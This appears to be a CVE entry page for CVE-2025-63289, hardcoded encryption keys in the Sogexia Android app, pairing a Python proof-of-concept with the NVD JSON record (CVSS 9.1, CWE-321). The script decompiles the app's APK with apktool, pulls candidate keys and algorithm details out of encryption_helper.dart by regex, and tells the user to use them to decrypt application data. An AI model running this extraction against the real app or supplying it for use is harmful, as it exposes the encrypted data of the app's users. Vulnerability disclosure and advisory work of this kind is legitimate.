CVE-2025-63289

#!/usr/bin/env python3 # CVE-2025-63289 PoC - Sogexia Android App Hardcoded Encryption Keys # This PoC demonstrates extracting hardcoded encryption keys from the APK import subprocess import zipfile import re import os def decompile_apk(apk_path, output_dir): """Decompile the APK using apktool""" cmd = ['apktool', 'd', apk_path, '-o', output_dir, '-f'] subprocess.run(cmd, check=True) def extract_encryption_helper(decompiled_dir): """Extract encryption_helper.dart file""" dart_file = os.path.join(decompiled_dir, 'lib', 'encryption_helper.dart') if os.path.exists(dart_file): with open(dart_file, 'r', encoding='utf-8') as f: content = f.read() # Extract hardcoded keys keys = re.findall(r'["\']([a-zA-Z0-9+/=]{20,})["\']', content) # Extract encryption parameters algorithm = re.findall(r'(AES|DES|RSA|encryption.*?=.*?["\'][^"\']+["\'])', content, re.I) return content, keys, algorithm return None, None, None def main(): apk_path = 'sogexia.apk' output_dir = 'decompiled_sogexia' print('[+] Decompiling Sogexia APK...') decompile_apk(apk_path, output_dir) print('[+] Searching for encryption_helper.dart...') content, keys, algorithm = extract_encryption_helper(output_dir) if content: print('[+] Found hardcoded encryption keys:') for key in keys: print(f' Key: {key}') print('[+] Encryption algorithm info:') for alg in algorithm: print(f' {alg}') print('[+] Use these keys to decrypt application data') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-63289", "sourceIdentifier": "[email protected]", "published": "2025-11-12T16:15:36.770", "lastModified": "2026-01-05T19:23:25.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sogexia Android App Compile Affected SDK v35, Max SDK 32 and fixed in v36, was discovered to contain hardcoded encryption keys in the encryption_helper.dart file"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sogexia:sogexia:35:*:*:*:*:android:*:*", "matchCriteriaId": "0F328E41-DAFD-4FDA-BD66-10D1A58C8382"}]}]}], "references": [{"url": "https://medium.com/@sudosu01/information-disclosure-hardcoded-encryption-keys-fc375abf68a3", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/umanhonlengabriel", "source": "[email protected]", "tags": ["Not Applicable"]}]}}